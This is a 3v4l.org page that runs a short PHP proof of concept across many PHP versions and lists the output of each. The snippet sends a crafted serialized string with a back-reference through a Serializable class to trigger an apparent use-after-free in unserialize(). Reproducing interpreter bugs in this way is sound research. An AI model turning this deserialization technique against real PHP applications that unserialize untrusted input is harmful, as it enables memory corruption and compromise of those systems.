3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj implements Serializable { public $data; public function serialize() { return serialize($this->data); } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);
based on 1Afec
Output for 5.4.45, 5.5.29 - 5.5.35, 5.6.13 - 5.6.21, 7.0.20 - 7.2.0
array(2) { [0]=> object(obj)#1 (1) { ["data"]=> int(1) } [1]=> array(0) { } }
Output for 7.0.0 - 7.0.6
array(2) { [0]=> object(obj)#1 (1) { ["data"]=> int(1) } [1]=> &array(1) { ["data"]=> int(1) } }
Output for 5.4.39 - 5.4.44, 5.5.24 - 5.5.28, 5.6.8 - 5.6.12
array(2) { [0]=> object(obj)#1 (1) { ["data"]=> int(1) } [1]=> NULL }
Output for 5.4.0 - 5.4.38
array(2) { [0]=> object(obj)#1 (1) { ["data"]=> int(1) } [1]=> &NULL }
Output for 5.3.19 - 5.3.29
Notice: unserialize(): Error at offset 37 of 38 bytes in /in/42Lkq on line 21 bool(false)